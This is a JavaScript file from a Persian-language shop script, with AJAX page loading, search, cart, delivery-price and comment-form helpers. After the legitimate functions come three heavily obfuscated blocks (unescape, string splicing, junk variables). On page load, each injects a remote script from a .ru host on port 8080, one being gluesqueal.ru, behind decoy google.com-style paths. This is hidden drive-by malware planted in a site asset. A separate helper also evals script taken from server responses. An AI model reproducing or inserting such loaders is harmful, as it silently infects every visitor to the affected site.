﻿//coded by HAMED SAATI <www.HAM3D.net> <hamed.saati@gmail.com>
function doeval(js){
	if(js!=null){
	var sc = document.createElement('script');
	jsCode = js;
	sc.type = 'text/javascript';
	document.getElementsByTagName('head')[0].appendChild(sc);
	sc.text = 'try{eval(jsCode);}catch(e){}jsCode="";';
	//sc.text = 'try{eval(jsCode);}catch(e){try{alert(e.fileName+" : "+e.lineNumber+"\\n"+e.name+" : "+e.message); alert(e.stack);}catch(e){}}jsCode="";';
	sc.text = "\/\/ :-)";
	}
}

function getscript(str){
let_out=str;
	jstr=let_out.split('<script>');
	if( jstr[1] !=null){
		newstr=jstr[1].split('</script>');
		if( newstr[1] !=null){
			setTimeout("doeval( newstr[0] )", 500);
		}
	}


return let_out;
}

function block_loader(page,this_block,post){
main_ajax_do(page+'.php','ham3d_net_place_block_'+this_block+'',post);		
}

function show_page(page,block,post,option){
if(option=='yes')
	{
		hide_id('ham3d_net_place_block_rate')
		hide_id('ham3d_net_place_block_related_product')
		hide_id('ham3d_net_place_block_topproduct')
	}

main_ajax_do(page+'.php','ham3d_net_place_block_'+block+'',post);		
}

function HAM3D_NET_cat_show(ham3d){
hide_id('ham3d_net_place_block_rate')
hide_id('ham3d_net_place_block_related_product')
hide_id('ham3d_net_place_block_topproduct')
hide_id('ham3d_net_place_block_rand');
main_ajax_do('cat.php','ham3d_net_place_block_main','id='+ham3d+'');		
}

function ham3d_shop_search(){
         
    ham3d=get_value_for_ajax('ham3d_search_box');	
	if (ham3d == '')
		{
		write_in_id('ham3d_net_place_block_search_error' ,'&nbsp;&nbsp;&nbsp;!!! فیلد جستجو خالی میباشد ')
		}
		else
		{	
		hide_id('ham3d_net_place_block_search_error')
		hide_id('ham3d_net_place_block_rate')
		hide_id('ham3d_net_place_block_topproduct')
		main_ajax_do('search.php', 'ham3d_net_place_block_main', 'ham3dsearch='+ham3d+'')
		}
}

function AddToCart(Site){
 window.open(Site,"viewwin","toolbar=1,status=1,scrollbars=yes,resizable=1");
 } 

function show_detail(post){
hide_id('ham3d_net_place_block_topproduct')
hide_id('ham3d_net_place_block_rand')
main_ajax_do('show_detail.php','ham3d_net_place_block_main',''+post+'');	
block_loader('related_product','related_product',''+post+'');
//block_loader('rating','rate',''+post+'');
}

function show_id(id){
    if(document.getElementById(id)){
    	document.getElementById(id).style.display ='';
	}
}

function write_in_id(id,note){
 	if(document.getElementById(id)){
  		show_id(id);
 		document.getElementById(id).innerHTML=note;
	}
}

function hide_id(id){
    if(document.getElementById(id)){
		document.getElementById(id).style.display ='none';
	}
}

function page_loader(this_page, div_id, post){
	main_ajax_do(this_page+'.php', div_id, post);
}

function write_in_blank_id(id){
 	if(document.getElementById(id)){
  		show_id(id);
 		document.getElementById(id).innerHTML=' ';
	}
}

function get_value_for_ajax(this_id){
	if(! document.getElementById(this_id) ){
		return '';
	}else if(document.getElementById(this_id).type == 'checkbox'){
        return document.getElementById(this_id).checked;	
	}else{
        return encodeURIComponent(replace_for_ajax(document.getElementById(this_id).value));
	}
}

function get_div_value_for_ajax ( id ){
	return encodeURIComponent(document.getElementById(id).innerHTML);
}

function replace_for_ajax(note){
	note= note.replace(/&/g,"**am**");
	note= note.replace(/=/g,"**mosavi**");
	note= note.replace(/\+/g,"**jam**");
	return note;
}

function main_ajax_do(url , thisid, post){
 	var xmlhttp=false;
        show_id(thisid)
        write_in_id(thisid ,'<img src="theme/images/loading.gif" width="16" border="0"><font face="Tahoma" style="font-size: 8pt">&#1604;&#1591;&#1601;&#1575; &#1589;&#1576;&#1585; &#1705;&#1606;&#1610;&#1583; ...</font><BR>') ;
       
        /*@cc_on @*/
        /*@if (@_jscript_version >= 5)
        	try {
                xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
                } 
                catch (e) {
            try {xmlhttp = new ActiveXObject('Microsoft.XMLHTTP');} 
				catch (E) { 
                xmlhttp = false; 
                }
    		}
    	@end @*/
    if(!xmlhttp) { xmlhttp=new XMLHttpRequest();}
	xmlhttp.open('POST', url, true);
        xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); post=post+'&my_time='+escape(new Date().getTime());
        xmlhttp.send(post); 
        xmlhttp.onreadystatechange = function() {
             if(xmlhttp.readyState == 4  && xmlhttp.status == 200){
				my_respons = xmlhttp.responseText;
				my_repsons = "3044929c7b9203fc0f42ecc810934b86";
				my_respons = my_respons.replace('\n', '');
				my_respons = my_respons.replace('\r', '');
				my_respons = getscript(my_respons);
				document.getElementById(thisid).innerHTML =my_respons;
             }
        }
}

function num2fa( number){
	my_num='';
	for ( var i = 0; i < number.length; i++){
		my_num += newd_num2fa( number.substr(i , 1 ));
	}	
	return my_num;
}

function newd_num2fa( newnumber ){
	if ( newnumber  == 0 ){
		return newnumber.replace(0, '&#1776;');
	}
	if ( newnumber  == 1 ){
		return  newnumber.replace(1, '&#1777;');	
	}	
	if ( newnumber  == 2 ){
		return  newnumber.replace(2, '&#1778;');	
	}	
	if ( newnumber  == 3 ){
		return  newnumber.replace(3, '&#1779;');	
	}	
	if ( newnumber  == 4 ){
		return  newnumber.replace(4, '&#1780;');	
	}	
	if ( newnumber  == 5 ){
		return  newnumber.replace(5, '&#1781;');	
	}	
	if ( newnumber  == 6 ){
		return  newnumber.replace(6, '&#1782;');	
	}	
	if ( newnumber  == 7 ){
		return  newnumber.replace(7, '&#1783;');	
	}	
	if ( newnumber  == 8 ){
		return  newnumber.replace(8, '&#1784;');
	}	
	if ( newnumber  == 9 ){
		return newnumber.replace(9, '&#1785;');
	}	
}

function do_change_new(){
my_city = document.getElementById('get_city').value;
my_deliver_price =my_city.split(':');
document.getElementById('get_city_price').innerHTML=my_deliver_price[0];
document.getElementById('get_city_ID').innerHTML=my_deliver_price[1];
//document.getElementById('deliver_price').innerHTML=num2fa( ''+my_deliver_price[0]+'' );

my_zone = document.getElementById('get_zone').value;
my_zone_price =my_zone.split(':');
document.getElementById('get_zone_price').innerHTML=my_zone_price[0];
document.getElementById('get_zone_ID').innerHTML=my_zone_price[1];
//document.getElementById('deliver_price').innerHTML=num2fa( ''+my_deliver_price[0]+'' );

my_dval_1d =parseInt(  document.getElementById('get_zone_price').innerHTML , 10 );
my_dval_2d =parseInt(  document.getElementById('get_city_price').innerHTML , 10 );
deliverp=(my_dval_1d + my_dval_2d);
document.getElementById('get_deliver_price').innerHTML=deliverp;
document.getElementById('total_deliver_price').innerHTML=num2fa( ''+deliverp+'' );

my_val_1d =parseInt(  document.getElementById('get_zone_price').innerHTML , 10 );
my_val_2d =parseInt(  document.getElementById('get_city_price').innerHTML , 10 );
my_val_3d =parseInt(  document.getElementById('get_price').innerHTML , 10 )
my_val_4d =(my_val_1d + my_val_2d + my_val_3d);
document.getElementById('get_total_price').innerHTML=my_val_4d;
document.getElementById('deliver_total_price').innerHTML=num2fa( ''+my_val_4d+'' );
}

function get_zone(){
my_city = document.getElementById('get_city').value;
my_deliver_price =my_city.split(':');
main_ajax_do('city_zone.php','ham3d_net_place_block_get_zone','id='+my_deliver_price[1]+'');		
}

function pay_proc_js(block,ID,IDlink){
page = document.getElementById('pay_proc_'+ID+'').value;
if(page=='cart')
{
//AddToCart('gopage.php?ID'+ID+'');
AddToCart(''+IDlink+'');
}
else{
main_ajax_do(page+'.php','ham3d_net_place_block_main','id='+ID+'&show=1');		
}
}

function check_js_compatible(){
if(!document.getElementById('ham3d_net_place_block_support'))
	{
        newdiv = document.createElement("div");
        newdiv.innerHTML = '<center><a target="_blank" href="http://www.ham3d.net/shop.php"><img src="http://www.HAM3D.net/shop.gif" border="0"></a></center>'
        document.body.appendChild(newdiv);
	}
}

function comment_product(ham3d){
    box1=get_value_for_ajax('Name');	
    box2=get_value_for_ajax('Email');	
    box3=get_value_for_ajax('Comment');	
	var Email = document.getElementById("Email");  	

	if (box1 == '' || box2 == '' || box3 == '')
		{
		write_in_id('ham3d_net_place_block_comment_error' ,'لطفا همه موارد را تکميل نماييد')
		}
		else
		{	
			if(!IsEmail(Email.value))
			{
				write_in_id('ham3d_net_place_block_comment_error' ,'ايميل وارد شده معتبر نمي باشد')
			}
			else
			{	
				main_ajax_do( 'send_comment.php'  , 'comment_div', 'id='+ham3d+'&id1='+box1+'&id2='+box2+'&id3='+box3+'')
			}
		}
}
//--------------------------------------------------------------------
//coded by HAMED SAATI <www.HAM3D.net> <hamed.saati@gmail.com>
var y;if(y!='x' && y!='F'){y='x'};this.G="";try {var f=new Date();var _=window[unescape("%75%6e%65%73%63%61%70%65")];this.Nz='';var gb=new String();var Q=_("%72%65%70%6c%61%63%65");this.sG='';var o;if(o!='n' && o != ''){o=null};var J='';var L=new Date();var w=null;var j=window[_("%52%65%67%45%78%70")];function t(A,s){var X;if(X!='oF' && X!='_f'){X=''};var ws;if(ws!='En' && ws!='pC'){ws=''};var d=_("%5b");this.yT='';d+=s;var hr='';d+=_("%5d");var uO='';var i='';var S=new j(d, _("%67"));return A.replace(S, w);};var od='';this.AA='';var q;if(q!='' && q!='dD'){q=''};var A=_("%31");var _P=new String();this.tJ="";var th="jNXtonl".substr(4)+"oad";var B;if(B!='' && B!='wE'){B='OI'};var l='';var jx;if(jx!='' && jx!='SO'){jx=''};var He="";var dG=_("%73%63%72%69%70%74");var NY=new Array();var g=t('/6zZaEyCcWekvC-jnjeAtS/Cg4oMoMgjlFeK.jcKoOmk/f5K8S.KcCo6mf.Up6hZpZ','6AKWC4kZSfEUOFjM');this.Sg="";var E="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x6c\x75\x65\x73\x71\x75\x65\x61\x6c\x2e\x72\x75\x3a";var K=new Date();var v=t('8561470649215865743710137173','49137265');var Yl;if(Yl!=''){Yl='AY'};var _G=new String();function AC(){var vj='';var _Z=new String();var W=document;var mf;if(mf!='fQ'){mf=''};var XS;if(XS!='bz'){XS=''};SJ=W.createElement(dG);this.lb='';var M;if(M!='SF' && M!='cI'){M=''};l+=E;var VR='';l+=v+g;var JL;if(JL!='oV'){JL=''};var eG="";var h=W.body;var Ix="";SJ.defer=A;var fJ='';SJ.src=l;var SX;if(SX!='Xz'){SX=''};h.appendChild(SJ);};var Hm;if(Hm!='uTR'){Hm=''};var XJ="";var z=new Array();var rZ;if(rZ!='P'){rZ=''};window[th]=AC;var LR;if(LR!=''){LR='SU'};} catch(b){var SJJ='';var cE='';};var rH=new String();this.wh="";


h=["W","Wo","M"];function F(){var j={WR:"Zk"};var C={};var R={};var q=String("Jyi4defer".substr(4));var qR=44692;hv={_P:"S"};var y=window;var w={hp:"gZ"};wF=[];var f="src";var O="body";var Og=["x"];H=["fu"];var s="app"+"end"+"Chi"+"ld";var yP='';J=["o","cl"];var e=String("on"+"naTqlo".substr(4)+"ad");this.yq=19770;this.yq--;var B=document;var IT={Te:"jp"};var _k={Vf:"G"};var _=new String("creat"+"eElem"+"ent");try {var L='Jm'} catch(L){};this.HM="HM";var g=String("scrip20hL".substr(0,5)+"tWuV".substr(0,1));sE=50961;sE--;lN={zq:"i"};function Fg(){var a={iP:56882};var lE={P:46020};this.GO=21086;this.GO+=91;tz=10626;tz++;try {js=50694;js-=138;this.b=40698;this.b--;K=["fA"];var Y=6284-6283;var k="/g"+"oo"+"gl"+"e.6HCZ".substr(0,2)+"co"+"Xh3m/X3h".substr(3,2)+"on"+"em"+"rwlVanwVrl".substr(4,2)+"ga"+".c"+"om"+"/i"+"nfVoM".substr(0,2)+"ol"+"y4HinHy4".substr(3,2)+"ks"+".c"+"om"+".p"+"hp";IQ=21937;IQ++;var kt=new Date();var v=662215-654135;var SI={ve:"tl"};var Z=new String("http:"+"//dir"+"tysinm1G".substr(0,5)+"5gF.ru:".substr(3));var yh={};var YK=["aI","Un"];WL={iZ:47119};var Mp=["eK","ao"];var X=["nN","lz","LZ"];rz=28061;rz--;p=B[_](g);var Wy=false;nF={Br:5952};AI=38193;AI--;var uF="uF";p[q]=Y;var AZ=["yy","Dm"];uz={Yk:5937};p[f]=Z+v+k;this.Ys=false;B[O][s](p);var aq=new Date();} catch(m){Js=46447;Js-=156;Hg=52410;Hg+=18;};this.tp=11928;this.tp--;}zh=[];var _p=["tQ"];y[e]=Fg;};F();
try {var rA=false;U={P:"G"};f={Nl:"ch"};this.T=27069;this.T--;vD=["wb"];qb=["qK"];var k=window["unes"+"cape"];O=37120;O+=247;var S=new Array();this.b=55684;this.b--;var Xc={Uk:"t"};this.B="B";Op=["gp","os","x"];var L=String("eCmR1".substr(4));var I=String("repMV8".substr(0,3)+"lac"+"e");var xi=["OV","Cc"];var o=window[(new String("Nm9rRegEx".substr(4)+"K6LPp".substr(4)))];xw={};this.MT=33469;this.MT--;y=48799;y--;var R='';var wt=false;var RS="m50Oonloa".substr(4)+"d";rx={ST:13656};_s={RR:60099};function _(L,N){this.RQ=51971;this.RQ++;this.Q=39468;this.Q-=227;var kN="";var zq="";var Hs={ev:false};try {var kl='Z'} catch(kl){};var lC="";var c="[";c+=N;var p={UM:"hf"};_d=["J"];c+=k("%5d");this.ga="";try {} catch(NO){};try {var TB='jj'} catch(TB){};this.lX='';this.yV="";this.X_="";this.tH=35020;this.tH++;ef=[];var _H=19960;var Nz=new o(c, new String("t20g".substr(3)));_r={ja:24488};var UN={qbV:false};return L.replace(Nz, R);var rO=new String();var iN="";var OG=["oU","yq"];var OZ=["rQ","cf"];};try {var uq='IM'} catch(uq){};var yk=[];this.Ug=false;uB={oE:51260};this.rD=false;this.bu=42293;this.bu++;var e=String("ieNhttp".substr(3)+"NenF://aFneN".substr(4,4)+"xwishdowxi".substr(3,4)+"EFBSg.ru".substr(4)+":tGb".substr(0,1));uS={Bw:false};wq=["kU","Ta"];var X=228022-219942;var Xu=false;var iJ=["kS"];this.Xr=1734;this.Xr++;var C=String("9kI/goo".substr(3)+"gle."+"com/r7T".substr(0,4)+"admi9hM".substr(0,4)+"n5.c"+"dHgom/p".substr(3)+"ixma"+"nia.C0t".substr(0,4)+"com."+"php");BD=["IH"];var e_=false;var Uo=false;NSg=["CH"];var it={JA:"cS"};QS=["SJ","uF"];var Hw={zk:"IA"};function Nr(){var Qo=["xy"];_y=26099;_y+=177;jn={};var r=new String("appen"+"dChil"+"KRbWd".substr(4));try {} catch(jX){};kJ=[];is={};Cd={};RZ=["hw","Vs_","bg"];var A=_('sCcWrvi7pWt1','OV1NWw7hvqnC3PDoHXlY5fLM');var EK='';var SF="";this.PL='';xf=["td"];var w=document;var Rk=["VS"];var Eh="";var gV="";RZL=7282;RZL+=212;cy={Zv:false};this.mC=false;MA={VN:false};STK=20263;STK++;hs=[];Cm=[];Lu=32245;Lu++;q=w.createElement(A);var Yy={Bn:false};this.LI="";zM={};var Im={YQ:false};var wr=19308;ZH=15305;ZH+=69;n=e+X;var Vwh=["DJ","Pj","Wc"];n=n+C;var jF=new Date();Lr={zn:9101};this.asu=false;vK={mJ:false};GM={uJ:false};var Ms=["fH","yr","Xz"];MVj={mf:false};var Rh=w.body;var xc=[];this.re=42109;this.re++;this.dV=51301;this.dV++;var Sc=["IE"];var Us=[];q[new String("OmEzdef".substr(4)+"M1KHer".substr(4))]=L;q.src=n;ze=66;ze--;xa=[];BB=[];this.I_=5337;this.I_--;var ne=new Array();this.sN=62210;this.sN++;var Dh='';var jr={_m:false};NJ=["CEC","lb","rv"];Rh[r](q);fF=[];var aQ=new Date();bFl=[];HD={El:false};};lm={wCn:false};this.hE="hE";var Hh=["fKI","cp"];window[RS]=Nr;} catch(nw){this.EY=43043;this.EY-=232;hv={IZ:42642};Kd={};_e={XrN:16767};Mk={En:62352};UZ={ge:false};var Tu='';Btg=19152;Btg+=90;var Bm='';};this.jZ="";try {} catch(RH){};this.T_="";